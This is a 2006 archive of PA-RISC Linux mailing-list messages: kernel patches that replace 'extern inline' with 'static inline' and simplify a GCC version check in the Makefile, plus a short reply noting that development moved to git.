X-Trace: ger.gmane.org 1416624596 27632 80.91.229.3 (22 Nov 2014 02:49:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: matthew@wil.cx,
 grundler@parisc-linux.org,
 kyle@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2006 17:19:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 19 Aug 2006 19:19:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 503BE7D6CE;
	Sat, 19 Aug 2006 11:19:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11771-02; Sat, 19 Aug 2006 11:19:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 700167D6C4;
	Sat, 19 Aug 2006 11:19:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 861E37D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10530-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:32 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6095E7D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:32 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 1D4E049400F; Sat, 19 Aug 2006 11:19:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by palinux.external.hp.com (Postfix) with SMTP id 3C11F494110
	for <parisc-linux@parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:30 -0600 (MDT)
Original-Received: (qmail 14459 invoked from network); 19 Aug 2006 17:19:29 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailout.stusta.mhn.de with SMTP; 19 Aug 2006 17:19:29 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 2FDA1114051; Sat, 19 Aug 2006 19:19:30 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: A3/VddxIIyd1EvqQe2dr0bVaa2FkZhUU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25299

"extern inline" generates a warning with -Wmissing-prototypes and I'm 
currently working on getting the kernel cleaned up for adding this to 
the CFLAGS since it will help us to avoid a nasty class of runtime 
errors.

If there are places that really need a forced inline, __always_inline 
would be the correct solution.

Signed-off-by: Adrian Bunk <bunk@stusta.de>

---

 arch/parisc/lib/memcpy.c       |    4 +--
 include/asm-parisc/io.h        |    2 -
 include/asm-parisc/pci.h       |    2 -
 include/asm-parisc/pgtable.h   |   40 ++++++++++++++++-----------------
 include/asm-parisc/prefetch.h  |    4 +--
 include/asm-parisc/semaphore.h |   10 ++++----
 include/asm-parisc/tlbflush.h  |    3 --
 7 files changed, 32 insertions(+), 33 deletions(-)

--- linux-2.6.14-rc5-mm1-full/arch/parisc/lib/memcpy.c.old	2005-10-30 01:58:43.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/arch/parisc/lib/memcpy.c	2005-10-30 01:59:11.000000000 +0200
@@ -158,12 +158,12 @@
 #define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
 
 #ifdef  CONFIG_PREFETCH
-extern inline void prefetch_src(const void *addr)
+static inline void prefetch_src(const void *addr)
 {
 	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
 }
 
-extern inline void prefetch_dst(const void *addr)
+static inline void prefetch_dst(const void *addr)
 {
 	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
 }
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/pci.h.old	2005-10-30 01:59:57.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/pci.h	2005-10-30 02:00:01.000000000 +0200
@@ -193,7 +193,7 @@
 extern void pcibios_register_hba(struct pci_hba_data *);
 extern void pcibios_set_master(struct pci_dev *);
 #else
-extern inline void pcibios_register_hba(struct pci_hba_data *x)
+static inline void pcibios_register_hba(struct pci_hba_data *x)
 {
 }
 #endif
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/pgtable.h.old	2005-10-30 02:00:14.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/pgtable.h	2005-10-30 02:00:18.000000000 +0200
@@ -316,31 +316,31 @@
  * setup: the pgd is never bad, and a pmd always exists (as it's folded
  * into the pgd entry)
  */
-extern inline int pgd_none(pgd_t pgd)		{ return 0; }
-extern inline int pgd_bad(pgd_t pgd)		{ return 0; }
-extern inline int pgd_present(pgd_t pgd)	{ return 1; }
-extern inline void pgd_clear(pgd_t * pgdp)	{ }
+static inline int pgd_none(pgd_t pgd)		{ return 0; }
+static inline int pgd_bad(pgd_t pgd)		{ return 0; }
+static inline int pgd_present(pgd_t pgd)	{ return 1; }
+static inline void pgd_clear(pgd_t * pgdp)	{ }
 #endif
 
 /*
  * The following only work if pte_present() is true.
  * Undefined behaviour if not..
  */
-extern inline int pte_read(pte_t pte)		{ return pte_val(pte) & _PAGE_READ; }
-extern inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
-extern inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
-extern inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
-extern inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
-extern inline int pte_user(pte_t pte) 		{ return pte_val(pte) & _PAGE_USER; }
-
-extern inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
-extern inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }
-extern inline pte_t pte_mkold(pte_t pte)	{ pte_val(pte) &= ~_PAGE_ACCESSED; return pte; }
-extern inline pte_t pte_wrprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_WRITE; return pte; }
-extern inline pte_t pte_mkread(pte_t pte)	{ pte_val(pte) |= _PAGE_READ; return pte; }
-extern inline pte_t pte_mkdirty(pte_t pte)	{ pte_val(pte) |= _PAGE_DIRTY; return pte; }
-extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
-extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
+static inline int pte_read(pte_t pte)		{ return pte_val(pte) & _PAGE_READ; }
+static inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
+static inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
+static inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
+static inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
+static inline int pte_user(pte_t pte) 		{ return pte_val(pte) & _PAGE_USER; }
+
+static inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
+static inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }
+static inline pte_t pte_mkold(pte_t pte)	{ pte_val(pte) &= ~_PAGE_ACCESSED; return pte; }
+static inline pte_t pte_wrprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_WRITE; return pte; }
+static inline pte_t pte_mkread(pte_t pte)	{ pte_val(pte) |= _PAGE_READ; return pte; }
+static inline pte_t pte_mkdirty(pte_t pte)	{ pte_val(pte) |= _PAGE_DIRTY; return pte; }
+static inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
+static inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
 /*
  * Conversion functions: convert a page and protection to a page entry,
@@ -368,7 +368,7 @@
 #define mk_pte_phys(physpage, pgprot) \
 ({ pte_t __pte; pte_val(__pte) = physpage + pgprot_val(pgprot); __pte; })
 
-extern inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
+static inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
 { pte_val(pte) = (pte_val(pte) & _PAGE_CHG_MASK) | pgprot_val(newprot); return pte; }
 
 /* Permanent address of a page.  On parisc we don't have highmem. */
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/semaphore.h.old	2005-10-30 02:00:45.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/semaphore.h	2005-10-30 02:00:51.000000000 +0200
@@ -58,7 +58,7 @@
 #define DECLARE_MUTEX(name) __DECLARE_SEMAPHORE_GENERIC(name,1)
 #define DECLARE_MUTEX_LOCKED(name) __DECLARE_SEMAPHORE_GENERIC(name,0)
 
-extern inline void sema_init (struct semaphore *sem, int val)
+static inline void sema_init (struct semaphore *sem, int val)
 {
 	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
 }
@@ -86,7 +86,7 @@
  * interrupts while we're messing with the semaphore.  Sorry.
  */
 
-extern __inline__ void down(struct semaphore * sem)
+static inline void down(struct semaphore * sem)
 {
 	might_sleep();
 	spin_lock_irq(&sem->sentry);
@@ -98,7 +98,7 @@
 	spin_unlock_irq(&sem->sentry);
 }
 
-extern __inline__ int down_interruptible(struct semaphore * sem)
+static inline int down_interruptible(struct semaphore * sem)
 {
 	int ret = 0;
 	might_sleep();
@@ -116,7 +116,7 @@
  * down_trylock returns 0 on success, 1 if we failed to get the lock.
  * May not sleep, but must preserve irq state
  */
-extern __inline__ int down_trylock(struct semaphore * sem)
+static inline int down_trylock(struct semaphore * sem)
 {
 	int flags, count;
 
@@ -132,7 +132,7 @@
  * Note! This is subtle. We jump to wake people up only if
  * the semaphore was negative (== somebody was waiting on it).
  */
-extern __inline__ void up(struct semaphore * sem)
+static inline void up(struct semaphore * sem)
 {
 	int flags;
 	spin_lock_irqsave(&sem->sentry, flags);
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/tlbflush.h.old	2005-10-30 02:01:00.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/tlbflush.h	2005-10-30 02:01:06.000000000 +0200
@@ -42,7 +42,7 @@
 #endif
 }
 
-extern __inline__ void flush_tlb_pgtables(struct mm_struct *mm, unsigned long start, unsigned long end)
+static inline void flush_tlb_pgtables(struct mm_struct *mm, unsigned long start, unsigned long end)
 {
 }
  

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/
--- linux-2.6.18-rc4-mm1/include/asm-parisc/io.h.old	2006-08-13 23:08:01.000000000 +0200
+++ linux-2.6.18-rc4-mm1/include/asm-parisc/io.h	2006-08-13 23:08:15.000000000 +0200
@@ -128,7 +128,7 @@
 /* Most machines react poorly to I/O-space being cacheable... Instead let's
  * define ioremap() in terms of ioremap_nocache().
  */
-extern inline void __iomem * ioremap(unsigned long offset, unsigned long size)
+static inline void __iomem * ioremap(unsigned long offset, unsigned long size)
 {
 	return __ioremap(offset, size, _PAGE_NO_CACHE);
 }
--- linux-2.6.18-rc4-mm1/include/asm-parisc/prefetch.h.old	2006-08-13 23:08:25.000000000 +0200
+++ linux-2.6.18-rc4-mm1/include/asm-parisc/prefetch.h	2006-08-13 23:08:34.000000000 +0200
@@ -19,7 +19,7 @@
 #ifdef CONFIG_PREFETCH
 
 #define ARCH_HAS_PREFETCH
-extern inline void prefetch(const void *addr)
+static inline void prefetch(const void *addr)
 {
 	__asm__("ldw 0(%0), %%r0" : : "r" (addr));
 }
@@ -27,7 +27,7 @@
 /* LDD is a PA2.0 addition. */
 #ifdef CONFIG_PA20
 #define ARCH_HAS_PREFETCHW
-extern inline void prefetchw(const void *addr)
+static inline void prefetchw(const void *addr)
 {
 	__asm__("ldd 0(%0), %%r0" : : "r" (addr));
 }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] arch/parisc/Makefile: remove GCC_VERSION
Date: Sat, 19 Aug 2006 19:19:38 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20060819171938.GK7813__34672.941247891$1416624596$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624596 27634 80.91.229.3 (22 Nov 2014 02:49:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:56 +0000 (UTC)
To: Sam Ravnborg <sam@ravnborg.org>,
 Matthew Wilcox <willy@parisc-linux.org>,
 grundler@parisc-linux.org,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2006 17:19:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 19 Aug 2006 19:19:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5D2A7D6C4;
	Sat, 19 Aug 2006 11:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11771-06; Sat, 19 Aug 2006 11:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4554C7D6D3;
	Sat, 19 Aug 2006 11:19:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B8FC7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11771-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:40 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9EA997D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:38 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 8AE58494112; Sat, 19 Aug 2006 11:19:38 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by palinux.external.hp.com (Postfix) with SMTP id ED0B349400F
	for <parisc-linux@parisc-linux.org>;
	Sat, 19 Aug 2006 11:19:37 -0600 (MDT)
Original-Received: (qmail 14466 invoked from network); 19 Aug 2006 17:19:37 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailhub.stusta.mhn.de with SMTP; 19 Aug 2006 17:19:37 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 15B67114051; Sat, 19 Aug 2006 19:19:38 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cQ6BLoAWaHI+XKWnKSUlpLtqamdhZITO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25300

This patch removes the usage of GCC_VERSION from arch/parisc/Makefile.

There are no functional changes, it simply makes it a bit shorter (and 
removes the last instance of GCC_VERSION in the kernel).

Signed-off-by: Adrian Bunk <bunk@stusta.de>
Acked-by: Kyle McMartin <kyle@mcmartin.ca>

---

This patch was already sent on:
- 12 Jan 2006

--- linux-2.6.15-mm3-hppa/arch/parisc/Makefile.old	2006-01-12 03:11:45.000000000 +0100
+++ linux-2.6.15-mm3-hppa/arch/parisc/Makefile	2006-01-12 03:12:35.000000000 +0100
@@ -35,12 +35,8 @@
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
 
-GCC_VERSION     := $(call cc-version)
-ifneq ($(shell if [ -z $(GCC_VERSION) ] ; then echo "bad"; fi ;),)
-$(error Sorry, couldn't find ($(cc-version)).)
-endif
-ifneq ($(shell if [ $(GCC_VERSION) -lt 0303 ] ; then echo "bad"; fi ;),)
-$(error Sorry, your compiler is too old ($(GCC_VERSION)).  GCC v3.3 or above is required.)
+ifneq ($(shell if [ $(call cc-version) -lt 0303 ] ; then echo "bad"; fi ;),)
+$(error Sorry, your compiler is too old.  GCC v3.3 or above is required.)
 endif
 
 cflags-y	:= -pipe

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] 2.6.17.11 kernel build failed on 715/64
Date: Sat, 26 Aug 2006 12:04:10 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20060826180410.GA8437@colo.lackof.org>
References: <20060825152450.GA3541@hrz.tu-chemnitz.de>
	<44F01C50.1040106@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624597 27636 80.91.229.3 (22 Nov 2014 02:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:57 +0000 (UTC)
Cc: Joerg Roedel <joerg@zlug.org>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2006 19:14:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 26 Aug 2006 21:14:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89F9D7D7D4;
	Sat, 26 Aug 2006 13:14:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20617-08; Sat, 26 Aug 2006 13:14:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C02AD7D7CF;
	Sat, 26 Aug 2006 13:14:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 270467D7CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 13:14:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20711-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 13:14:16 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 08F6F7D7CC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 13:14:16 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id BC56D49400B; Sat, 26 Aug 2006 13:14:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 90268494009
	for <parisc-linux@parisc-linux.org>;
	Sat, 26 Aug 2006 13:14:15 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by cuprel1.hp.com (Postfix) with ESMTP id 5D89A714F
	for <parisc-linux@parisc-linux.org>;
	Sat, 26 Aug 2006 11:04:14 -0700 (PDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 96D58360045;
	Sat, 26 Aug 2006 12:04:11 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08788-02; Sat, 26 Aug 2006 12:04:10 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1FE4D360025; Sat, 26 Aug 2006 12:04:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <44F01C50.1040106@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xfiCZHUBeSE5SL6WZHQh4452IGRvb4BS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25301

On Sat, Aug 26, 2006 at 10:02:56AM +0000, Joel Soete wrote:
> Joerg Roedel wrote:
> >Hello,
> >
> >I just tried to build the 2.6.17.11 Linux kernel on my 715/64 HPPA
> >workstation.
> just to be sure, I would better advise you grab parisc-linux cvs 
> (<http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.17-pa6.tar.bz2>)

Joerg,
Joel is correct that one cannot quite yet build a parisc-linux
tree from kernel.org sources.

While the CVS tree is not stale, it's also no longer used for developement.
Developement has moved to git.parisc-linux.org.
See www.parisc-linux.org/faq/git.html for access.

cheers,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: build failure of stlport 5.0.2 on hppa
Date: Wed, 30 Aug 2006 09:27:38 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <17653.15850.943986.966989@gargle.gargle.HOWL>
References: <a90bfcf0608291318y2d2c3072j3a7463ce3fcc730b@mail.gmail.com>
	<200608301028.01941.ptr@island.corbina.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624597 27638 80.91.229.3 (22 Nov 2014 02:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:57 +0000 (UTC)
Cc: Petr Ovtchenkov <ptr@island.corbina.net>,
 parisc-linux@parisc-linux.org
To: "Torsten Werner" <mail.twerner@googlemail.com>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 07:35:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 30 Aug 2006 09:35:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B6CB7D727;
	Wed, 30 Aug 2006 01:35:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03050-07; Wed, 30 Aug 2006 01:35:15 -0600 (MDT)
